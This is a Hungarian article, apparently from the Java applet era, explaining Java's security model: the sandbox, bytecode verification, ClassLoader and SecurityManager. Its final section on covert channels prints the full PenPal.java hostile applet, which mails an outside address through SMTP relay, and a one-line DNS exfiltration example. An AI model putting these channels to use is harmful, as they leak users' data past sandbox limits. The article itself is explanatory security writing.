Biztonságos-e a Jáva


Tartalomjegyzék:
Megbízhatóság és biztonság
A támadások fajtái
A Jáva biztonsági modellje
Nyelvi elemek
Köztes kód ellenõrzése
A futási környezet biztonsága
A rossz hírek
Továbbfejlesztések
Egy érdekes probléma: rejtett kommunikációs csatornák


A Jáva nyelv platformfüggetlenséget ígér, rosszindulatú programok íróinak is tetszhet az "írd meg egyszer, futtasd bárhol" jelmondat. A Jáva könyvtárak szoros kapcsolatban állnak az Internet hálózattal. Nagyon könnyû hálózaton kommunikáló programokat írni és a programkák terjesztésének módja is a rosszindulatú programok íróinak kedvez: a Hálón barangolva, böngészve elég egy óvatlan kattintás az egéren és a felhasználó számára alig észrevehetõen ­ ki az, aki állandóan a böngészõ ablakának alján lévõ állapotsorban megjelenõ üzeneteket figyeli ­ már jönnek is a programkák, amelyek a a felhasználó gépén kezdenek majd futni.

Megbízhatóság és biztonság

Rögtön az elején rá kell mutatnom arra, hogy két különbözõ probléma, fogalom keveredhet. A programok megbízhatósága (reliability), robosztussága (robustness) azt jelenti, hogy a program azt csinálja, amire szánták, futás közben különbözõ bemeneti adatok, események sem zökkentik ki a megkívánt tevékenységébõl. A biztonság (security) viszont azt jelenti, hogy a program futása közben nem disznólkodik, semmi olyan nem csinál, amit a program futtatója nem szeretne.

Azért a megbízhatóság és a biztonság nem teljesen független egymástól. A számítógépbetyárok betöréseinek kedvenc trükkje, hogy a gépemen futó valamelyik programot a hálózaton keresztül, kívülrõl rákényszerített, váratlan adatokkal próbálják kizökkenteni normális futásából. Ha a programozási nyelv olyan, hogy a program biztosan lekezeli a váratlan adatokat, nem kezd el a memóriában kóvályogni, az sokat segíthet.

A támadások fajtái

Hálózatba kapcsolt számítógépeket és felhasználóikat a következõ támadások fenyegetik.

Elmondható, hogy az összes támadás elhárításához a Jáva programkáknak a rendszer erõforrásaihoz hozzáférését kell szigorúan szabályozni, korlátozni. A védendõ erõforrásokra példa: állományrendszer, hálózat, központi tár, be-, kiviteli eszközök, egyéb perifériák, felhasználói környezet (environment), rendszerhívások, rendszerkönyvtárak.

A Jáva biztonsági modellje

Jáva környezetben kétfajta program futhat, alkalmazás (application) és programka (applet). A Jáva biztonsági mechanizmusainak nagy része csak a programkákra vonatkozik, az alkalmazások korlátozások nélkül használhatják a rendszer erõforrásait. A helyi rendszerbe telepített Jáva kódot a környezet megbizhatónak tekinti, futását nem ellenõrzi. Ez persze nem jelenti azt, hogy a program tényleg megbízható, csak azt, hogy a felelõsséget a rendszer a program telepítõjére hárítja.

A programkák biztonsági modellje 3 szintre bontható. Elõször jönnek a Jáva nyelvnek a programok megbízhatóságát növelõ tulajdonságai. Második lépésként a köztes kódú programokat betöltés közben, futtatás elõtt szigorú ellenõrzésnek vetik alá, hogy a program megfelel-e a virtuális gép által megkövetelt szemantikának. Harmadszorra jönnek a böngészõkben megvalósított virtuális gép és könyvtárak, amelyek a programkáknak szigorúan felügyelt, korlátozott futási környezetet nyújtanak.

A harmadik szintet "homokozó" (sandbox) modellként is emlegetik. A böngészõ a programkákat kis gyermekként egy homokozóba helyezi, ahol eljátszogathatnak, õk maguk is védettek a külsõ környezettõl, de nagy zûrt nem okozhatnak. Jelenleg ­ például a Netscape Navigator-ban implementált ­ homokozó falai magasak, a programkák nem nyúlhatnak ki belõle. A HotJava böngészõ, illetve az igéretek szerint más böngészõk újabb verziói is figyelhetik majd, hogy mikor akar egy programka kinyúlni a homokozóból és esetenkén dönthetnek arról, hogy melyik programkának mit lehet engedélyezni. Lehetnek felnõttebb, megbízhatóbb programkák, amelyek többet is megtehetnek, de maradhatnak olyanok is, akik soha nem lépehetik át a homokozó határait.

A biztonsági rendszer ellenõrzésében fontos momentum, hogy a Jáva környezet implementációja forrásban is hozzáférhetõ. Ha egy programozó bele akar tekinteni, ­  nem kereskedelmi forráslicensz megállapodást kitöltve ­ ingyen megkaphatja a teljes kódot és megnézheti, hogy vajon az implementáció megfelel-e a biztonsági elveknek. Így néhány, az implementáció hibáiból fakadó biztonsági rést fogtak már meg és javítottak ki lelkes kutatók, programozók. Sajnos ez csak a Sun JDK-jára  ­ fordító program, virtuális gép, könyvtárak ­ esetleg a HotJava böngészõre vonatkozik. Sem a Netscape, sem a Microsoft nem közli a böngészõjének forráskódját, így azt sem tudni, hogy a beágyazott virtuális gép implementációjánál mennyire tértek el a Sun kódjától.

Nyelvi elemek

A Jáva nyelv tervezésénél figyelembe vették, hogy a programok megbízható programozási szerkezeteket alkalmazzanak. A megbízhatóságot támogatja a láthatóság szabályozása, programozó az egyes osztályokra, illetve az osztályok adatváltozóira, módszereire megszabhagytja, hogy az öröklési hierarchiában, illetve a forrásprogramból honnan érhetõk el. A könyvtárak írói számíthatnak arra, hogy amit rejtetten (private) akarnak kezelni, ahhoz más nem férhet hozzá.

A final alapszóval deklarált változók értékét az iniciálás után nem lehet megváltoztatni. A final osztályokból nem lehet leszármaztatni, final módszerek esetén a leszármazott osztály nem takarhatja el, módosíthatja az eredeti módszer mûködését.

A nyelv garantálja, hogy minden objektumhivatkozás fordítás alatti és futás közbeni típusa azonos, pontosabban kompatibilis. A tipusátformálás (casting) is csak nagyon korlátozottan, futási idõben ellenõrzötten alkalmazható. A fordítóprogram arra is figyel, hogy értéket még nem kapott lokális változókat a program ne használhassanak.

A Jávából kimaradtak a mutatók mint elemi adatok, ezzel eltûnt az a lehetõség, hogy a mutatók által tartalmazott címet manipulálva ­ mint a C-ben a mutató aritmetika ­ szabadon turkálhassunk a tárban. A dinamikus tárkezelés, szemétgyûjtés miatt a létrehozott objektumokat nem kell, de nem is lehet explicit módon felszabadítani, a programozónak nincs lehetõség, hogy az objektumok allokációját befolyásolja.

A kivételkezelés konzekvens használata megkönnyíti a programok hibakezelését. Ezzel együtt jár az is, hogy minden a végrehajtás során elõforduló hiba valamilyen kivételt generál, amelyhez legkésõbb a virtuális gép szintjén van lekezelõ kódrészlet, hibát okozó program ­ hacsak a programozó nem így akarta ­ nem futhat tovább.

Tömbök kezelésénél futás közben mindig ellenõrzésre kerül, hogy az index nem mutat-e túl a tömb határain. Nem lehet átverni egy könyvtári módszert úgy, hogy kisebb tömböt adunk át neki, abban reménykedve, hogy a tömbön túlnyúlva érdekes tárterületeket ír majd felül. Hasonló hibák kiküszöbölésére szolgálhat az, hogy a Jáva szövegei önálló String típusú objektumok, amelyekbõl szintén nem lehet véletlenül kinyúlni.

Köztes kód ellenõrzése

A Jáva programkáknak a köztes kódra lefordított formáját és nem a forrását töltjük le. Biztonsági szempontból ez komoly problémát vet fel: nem lehetünk biztosak abban, hogy vajon a kódot egy korrekt fordítóprogram állította-e elõ, vagy tréfás kedvû számítógépbetyárok nem módosították-e kézzel. Ezért aztán a Jáva virtuális gép a futtatás elõtt ellenõrzi, hogy a kód megfelel-e bizonyos szemantikai tulajdonságoknak.

Megjegyzendõ, hogy ­ a jelenlegi implementációkban ­ csak a hálózaton letöltött kód kerül ellenõrzésre, a helyi állományrendszerbõl betöltött program, illetve a könyvtárak kódjában megbízunk. Ez nyilvánvalóan gyorsítja a programjaink futását, de a máshonnan átvett könyvtárakkal óvatosan kell bánnunk. A gyanakvóaknak ajánlom a JDK-ból a

javap -verify Library

parancsot, ez a Library nevû osztályra (a Library.class állományra) lefuttatja a kód ellenõrzõt.

Az ellenõrzés lépései:

  1. Osztályállomány szintaktikus ellenõrzése: az ellenõrzõ meggyõzõdik arról, hogy köztes kódot tartalmazó osztályállomány (.class) formátuma megfelel az elvárásoknak. Az osztályállomány minden részének a meghatározott számú byte-ot kell tartalmaznia, az egyes elemek szintaxisa is kötött.

  2. Osztályállomány összefüggéseinek ellenõrzése. Ebben a lépésbe történnek az olyan ellenõrzések, amelyeket a kód utasításainak értelmezése nélkül meg lehet tenni. Például final osztályokból nincs leszármaztatás, final módszereket nem definiáltak felül, minden osztálynak van szülõje, a módszerek definíciójánál a lenyomatuk "jól néz ki", lehetséges osztálynevekre hivatkozik.

  3. Az utasításfolyam ellenõrzése. Az ellenõrzõ adatfolyam elemzéssel végignézi az összes utasítást, figyelve arra, hogy:

    Megjegyzendõ, hogy az utasításfolyam ellenõrzését alaposan megnehezíti a kivételkezelés illetve a lezáró blokk (finally) használata.

  4. Külsõ hivatkozások ellenõrzése. Ez a lépés logikailag a köztes kód ellenõrzéséhez tartozik, azonban hatékonysági megfontolásból átkerült a kód futásának idejére. Az ellenõrzés harmadik lépése csak akkor tölt be más osztályokat is, ha elengedhetetlenül szükséges. Másik osztályra hivatkozó utasítás végrehajtásakor a virtuális gép szükség esetén betölti az osztályt leíró állományt, természetesen a hálózatról betöltéskor elvégzi a kód ellenõrzését is. Ezután ellenõrzi, hogy a hivatkozás létezõ összetevõt nevez-e meg és nem sérti-e a láthatóságot, adatkomponenseknél a megfelelõ típusú értékre hivatkozunk, módszereknél a hívás és a definíció lenyomata megegyezik-e.

    Amennyiben az ellenõrzés helyes eredményre vezet, a mûveleti kódot lecserélik egy hasonló jelentésû, de csak belsõleg használt kódra, amelynek következõ végrehajtása során már nem kell ezeket az ellenõrzéseket elvégezni.

A futási környezet biztonsága

A védelem harmadik bástyájaként azt kell biztosítanunk, hogy a kód ne viselkedjen neveletlenül, ne férjen hozzá olyan rendszer erõforrásokhoz, amelyeket nem szabad használnia. Mivel a köztes kód utasításai között nem szerepelnek olyanok, amelyek valamilyen rendszererõforrást ­ például állományokat, hálózatot, központi tárat, perifériákat ­ közvetlenül kezelnék, a védelem a rendszerkönyvtárakon keresztül valósulhat meg.

A könyvtárak biztonsága elõtt még van egy védelmi lépés: meg kell akadályozni, hogy egy rosszindulatú programka a rendszerkönyvtárakat kikerülve, saját könyvtárakat használjon. Ezt a védelemi feladatot látja el az osztálybetöltõ (ClassLoader). Az osztálybetöltõ egyik fontos feladata, hogy a betöltött osztályt egy elkülönített név tartományba (name space) helyezze el, így a kölönbözõ helyekrõl betöltött osztályok még ha azonos elnevezéseket is használnak, azok különbözõ osztályokat, objektumokat jelentenek.

A programka betöltõ úgy mûködik, hogy egy új osztályra hivatkozásánál azt elöször mindig a helyi könyvtárak közül próbálja betölteni, a hálózathoz csak akkor fordul, ha a keresett osztály helyben nem található. Így aztán egy programka nem tudja például a java.io könyvtár helyett ennek saját, megberhelt változatát a hálózaton keresztül becsempészni.

A könyvtárak biztonsága egy központi hivatalra, az ún. biztonsági menedzserre (SecurityManager) tartozik. A virtuális gép aktuális állapotához tartozik, hogy vajon használ-e ilyen menedzsert. A System.getSecurityManager() statikus módszer vagy null-t, vagy egy SecurityManager típusú objektumot ad vissza. Természetesen a System.setSecurityManager() segitségével csak akkor lehet ilyet beállítani, ha eddig null volt.

A biztonsági menedzser tartalmaz olyan checkXXX nevû hívásokat, amelyekkel az egyes könyvtárak írója megvizsgálhatja, hogy bizonyos mûveltek elvégezhetõk-e. Az ilyen ellenõrzésre szoruló mûveleteknél a következõ kódmintát kell alkalmazni:

SecurityManager security = System.getSecurityManager();
if (security != null)
{
   security.checkXXX(arguments);
}

Amennyiben a kód kijön a feltételes blokkból, a kívánt mûvelet végrehajtható. Ha az ellenõrzés hamis, a checkXXX módszer SecurityException kivételt generál.

A rendszerben alapként meglévõ SecurityManager osztály minden checkXXX hívásra kivételt generál, a böngészõ implementálásánál kell olyan leszármazott osztályt definiálni, amely az egyes módszerek felüldefiniálásával megvalósítja megkivánt védelmet. A SecurityManager tartalmaz néhány protected módszert is, amely egy ilyen leszármazott osztály megírásánál jól jöhet. Ilyen például annak ellenõrzése, hogy vajon jelenleg éppen ellenõrzés folyik-e, vagy módszerek a hívási vermen turkáláshoz. A böngészõkben használt biztonsági menedzser implementáció általában a

protected ClassLoader currentClassLoader();

hívás segítségével a hívási láncban megkeresi azt az osztálybetöltõt, amelyik által behozott osztály példánya indította a hívási láncot, amelynek a végén az ellenörzõ eljárás áll. Az így visszakapott osztálybetöltõt figyelembe véve dönthet a hozzáférés engedélyezésérõl.

Az módszerek részletes ismertetése helyett nézzük meg erõforrás kategóriánként, hogy a biztonsági menedzser segítségével milyen erõforrásokat, mûveleteket lehet védeni.

Erõforrásonként:

A Jáva többszintû biztonsági modellje kielégítõ védelmet biztosíthat a helyi információk kiszivárgása, illetve módosítása ellen. A kód ismeretében számos programozó árgus szemekkel figyeli az implementációt. A mai napig felszínre került biztonsági problémák a biztonsági elvek hibás implementációjából származtak. A böngészõ gyártók komolyan vették az így feltárt hibákat és az újabb verzióikban ezeket rendre kijavították.

A rossz hírek

A Jáva biztonságával foglalkozó néhány szerzõ nem osztja teljes mértékben a Sun fejlesztõinek optimizmusát. Megemlítenék a Jáva környezetben meglévõ néhány potenciális biztonsági problémát.

Továbbfejlesztések

A biztonsági rendszer sok fejlesztõ szerint túlzottan korlátozza a programkák mozgásterét. Ez, ha igaz is, de nehéz rajta segíteni, a programkák jelenleg megbízhatatlanok, nem szabad feléjük engedményeket tenni. Viszont a biztonsági menedzser elég flexibilis ahhoz, hogy megbízható programkák számára több jogosultságot biztosítson.

Felmerül hát a kérdés, hogyan különböztessük meg a megbízható és megbízhatatlan programkákat. Belsõ számítógéphálózatok esetén megfelelõ megközelítés lehet a programka forrás-szerverének figyelembe vétele. Amennyiben ez egy általunk megbízhatónak itélt szerver, például a vállalat szigorúan menedzselt központi szervere, akkor az onnan érkezõ összes programkában megbízunk.

Megbízhatóbb megoldást nyújt a kriptográfiából ismert digitális aláírás módszere. A programka készítõje "aláírhatja" a programkáját, a felhasználó ennek alapján egyrészt arról gyõzõdhet meg, hogy kitõl származik a kód, másrészt abban is biztos lehet, hogy a kódot senki nem módosította. Ezután a biztonsági menedzsert lehet például a program szerzõje ­ illetve annak cége ­ alapján konfigurálni. A digitális aláírások használatát a JDK 1.1-es verziójára igérték, a böngészõ készítõk még nem hozták nyilvánosságra, hogy az aláírásokat figyelembe véve hogyan lehet majd a böngészõt konfigurálni.

Figyelem: a digitális aláírást használva csak annyit tudunk, hogy a programka kitõl származik, de a megbízhatóságát ez nem garantálja, a kód szándékosan vagy véletlenül tartalmazhat a rendszerünk biztonságát sértõ utasításokat.

A futó programka megbízható azonosítása még csak az elsõ lépés, nagyon fontos az is, hogy a böngészõk milyen könnyen, rugalmasan engedik meg a biztonsági menedzsert konfigurálni. Rossz megoldás, ha néhány merev lehetõségek közül lehet csak választani, de ugyanakkor nem feltétlenül bízható minden felhasználóra a rendszer részletes konfigurálása. A felhasználóknak az is idegesítõ lehet, ha egy programka futása során túl gyakran kell valamilyen erõforrás használatot megerõsítenie.

Egy érdekes probléma: rejtett kommunikációs csatornák

A programkákra kényszerített biztonsági korlátok egyik legfontosabbika, hogy a hálózaton keresztül csak azzal a géppel kommunikálhatnak, ahonnan letöltöttük. Így arra gondolhatnánk, hogy ha valaki netalán információkat lop a gépünkrõl, utólag rájöhetünk, hogy ki volt, vagy legalább arra, hogy melyik géprõl indult a támadás. Ez sajnos nincs így, bizonyos hálózati protokollokat kihasználva a programka "rejtett" csatornán kommunikálhat egy harmadik számítógéppel is.

Legegyszerûbb a levelezési protokollt (Simple Mail Transfer Protocol, SMTP) kihasználni. A programka származási gépén futó sendmail programon keresztül bárhova küldhetünk elektronikus levelet. Ugyanis a sendmail továbbítja a címzett felé azokat a leveleket, amelyeket vesz, de nem a saját gépén levõ felhasználóknak szólnak.

Például a következõ programka levelet küld arról, ha valaki letöltötte az azt tartalmazó HTML lapot akkor is, ha nem a mi szerverünkrõl töltötte le. A beérkezett levelet kisérõ fejlécbõl ki lehet találni, ki és hol használja a programkánkat. Ezzel például illegálisan terjesztett programkák felhasználását lehet követni. A programkát Mark D. LaDue (mladue@math.gatech.edu) írta.

/* PenPal.java by Mark D. LaDue */
import java.applet.*;
import java.io.*;
import java.net.*;

public class PenPal extends java.applet.Applet               
                    implements Runnable
{
   public static Socket socker;
   public static DataInputStream inner;
   public static PrintStream outer;
   public static int mailPort = 25 ;
   public static String mailFrom = "my.hostile.applet";
   public static String toMe = "mladue@math.gatech.edu";
   public static String starter = new String();
   Thread controller = null;
public void init() { try { socker = new Socket(getDocumentBase().getHost(), mailPort); inner = new DataInputStream(socker.getInputStream()); outer = new PrintStream(socker.getOutputStream()); } catch (IOException ioe) {} } public void start() { if (controller == null) { controller = new Thread(this); controller.setPriority(Thread.MAX_PRIORITY); controller.start(); } } public void stop() { if (controller != null) { controller.stop(); controller = null; } } public void run() { try { starter = inner.readLine(); } catch (IOException ioe) {} mailMe("HELO" + mailFrom); mailMe("MAIL FROM: " + "penpal@" + mailFrom); mailMe("RCPT TO: " + toMe); mailMe("DATA"); mailMe("Hey, it worked!" + "\n." + "\n"); mailMe("QUIT"); try { socker.close();} catch (IOException ioe) {} } public void mailMe(String toSend) { String response = new String(); try { outer.println(toSend); outer.flush(); response = inner.readLine(); } catch(IOException e) {} } }

A cél számítógépen a penpal@my.hostile.applet címrõl érkezett leveleket automatikusan szûrni lehet, a fejlécbõl kinyert feladó információkat adatbázisban tárolhatjuk.

De nem csak az SMTP-t lehet ilyen rejtett csatorna létrehozására kihasználni, hanem például a DNS (Domain Name System) protokoll-t is. Ennek eredeti feladata, hogy egy számítógép nevébõl (pl. hapci.mmt.bme.hu) kitalálja a hálózati címét (152.66.81.13). A protokoll úgy mûködik, hogy a DNS szerverek a kérdést egymás között adogatva megkeresik azt a szervert, amelyik ismeri a keresett gépet. Ha üzemeltetünk egy DNS szervert és olyan gépnevet használunk a programkában pl. egy kapcsolat megnyitására, amely névrõl az Internet hálózaton azt hiszik, hogy a mi szerverünk ismeri, akkor a programkától máris információt kaphatunk. Képzeljük el például, hogy az intezmeny.hu név-tartományért a mi DNS szerverünk a felelõs. Ekkor a

Socket s = new Socket(titok + ".intezmeny.hu", 10)

utasítás hatására a DNS szerverünk kérést kap, hogy oldja fel a titok.intezmeny.hu címet (titok csaknem tetszõleges szöveg lehet). Erre bármilyen hálózati címet válaszolhatunk, a böngészõ biztonsági menedzsere valószinûleg visszautasítja majd a socket létrehozását, de sebaj, mi már megkaptuk a névben elrejtett információt. Persze kis ügyességgel a DNS szerver vissza is küldhet információt a programkának.

Mellesleg a DNS-sel sok egyéb baj is lehet. Egy ismert és azóta kijavított biztonsági hibánál egy megfelelõen hazugságra programozott DNS szerver segítségével a letötött programka bármelyik géppel felvehette a kapcsolatot, nem csak a származási helyével.